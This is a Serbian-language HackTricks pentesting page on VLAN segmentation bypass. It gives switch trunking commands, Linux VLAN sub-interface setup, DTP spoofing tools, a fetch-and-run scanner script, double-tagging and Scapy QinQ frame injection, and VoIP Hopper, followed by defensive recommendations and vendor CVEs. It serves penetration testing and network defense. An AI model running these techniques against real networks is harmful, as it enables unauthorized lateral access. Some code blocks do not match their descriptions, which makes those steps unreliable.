Lateral VLAN Segmentation Bypass

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (za više detalja proverite https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Prvo, identifikacija specifičnog povezanog porta je potrebna. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem include maske.

Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese:

SW1(config)# show mac address-table | include 0050.0000.0500

Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10.

SW1# show vlan brief

Prelazak na trunk režim podrazumeva ulazak u režim konfiguracije interfejsa:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Prebacivanje u trunk režim će privremeno prekinuti konektivnost, ali se to može kasnije obnoviti.

Zatim se kreiraju virtuelni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju:

bash
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije izvodljiv, adrese se mogu ručno konfigurisati:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20

Primer za ručno postavljanje statičke IP adrese na interfejsu (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10

Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60.

Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neometan pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije.


Druge VLAN-Hopping Tehnike (bez privilegovanog switch CLI)

Prethodna metoda pretpostavlja autentifikovani pristup konzoli ili Telnet/SSH-u na switch-u. U stvarnim situacijama, napadač je obično povezan na običan pristupni port. Sledeći Layer-2 trikovi često vam omogućavaju lateralno prebacivanje bez ikada prijavljivanja u switch OS:

1. Switch-Spoofing sa Dinamičkim Trunking Protokolom (DTP)

Cisco switch-evi koji drže DTP omogućeno rado će pregovarati trunk ako peer tvrdi da je switch. Kreiranje jednog DTP “desirable” ili “trunk” okvira pretvara pristupni port u 802.1Q trunk koji nosi sve dozvoljene VLAN-ove.

Yersinia i nekoliko PoC-ova automatizuju proces:

bash
# Become a trunk using Yersinia (GUI)
sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Recon pomoćnik (pasivno identifikovanje DTP stanja porta):

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

# or

wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0

Jednom kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku.

2. Double-Tagging (Zloupotreba Native-VLAN)

Ako napadač sedi na native (neoznačenom) VLAN-u, kreirani okvir sa dva 802.1Q zaglavlja može skočiti na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je VLANPWN DoubleTagging.py (osveženje 2022-2025) automatizuju injekciju:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

3. QinQ (802.1ad) Stacking

Mnogi koreni preduzeća podržavaju Q-in-Q enkapsulaciju usluga provajdera. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar provajdera (S-tag) da bi prešao sigurnosne zone. Zabeležite za ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag pomoću Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)

Korporativne pristupne tačke često su u “access + voice” konfiguraciji: neoznačeni data VLAN za radnu stanicu i označeni voice VLAN koji se oglašava putem CDP ili LLDP-MED. Imitujući IP telefon, napadač može automatski otkriti i preći u VoIP VLAN—čak i kada je DTP onemogućen.

VoIP Hopper (pakovan u Kali 2025.2) podržava CDP, DHCP opcije 176/242, i potpuno LLDP-MED spoofing:

bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940

# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z

# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN

Tehnika zaobilazi razdvajanje podataka/glasovnih komunikacija i izuzetno je uobičajena na preduzetničkim edge switch-evima 2025. godine jer je LLDP auto-policy podrazumevano omogućen na mnogim modelima.


Preporuke za odbranu

  1. Onemogućite DTP na svim portovima koji su usmereni ka korisnicima: switchport mode access + switchport nonegotiate.
  2. Promenite native VLAN na svakom trunk-u u neiskorišćeni, crni VLAN i označite ga: vlan dot1q tag native.
  3. Prune-ujte nepotrebne VLAN-ove na trunk-ovima: switchport trunk allowed vlan 10,20.
  4. Sprovodite sigurnost portova, DHCP snooping, dinamičku ARP inspekciju i 802.1X kako biste ograničili neovlašćene Layer-2 aktivnosti.
  5. Onemogućite LLDP-MED auto glasovne politike (ili ih zaključajte na autentifikovane MAC OUI-e) ako spoofing IP telefona nije potreban.
  6. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto da se oslanjate isključivo na 802.1Q razdvajanje.

Ranljivosti dobavljača u stvarnom svetu (2022-2024)

Čak i savršeno učvršćena konfiguracija switch-a može biti potkopana greškama u firmveru. Nedavni primeri uključuju:

  • CVE-2022-20728† – Cisco Aironet/Catalyst pristupne tačke omogućavaju injekciju iz native VLAN-a u ne-native WLAN VLAN-ove, zaobilazeći žičano/bežično razdvajanje.
  • CVE-2024-20465 (Cisco IOS Industrial Ethernet) omogućava zaobilaženje ACL-a na SVI-ima nakon prebacivanja Resilient Ethernet Protocol-a, propuštajući saobraćaj između VRF-ova/VLAN-ova. Zakrpa 17.9.5 ili novija.

Uvek pratite obaveštenja dobavljača o VLAN povezanim zaobilaženjima/ACL problemima i održavajte slike infrastrukture ažurnim.


Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks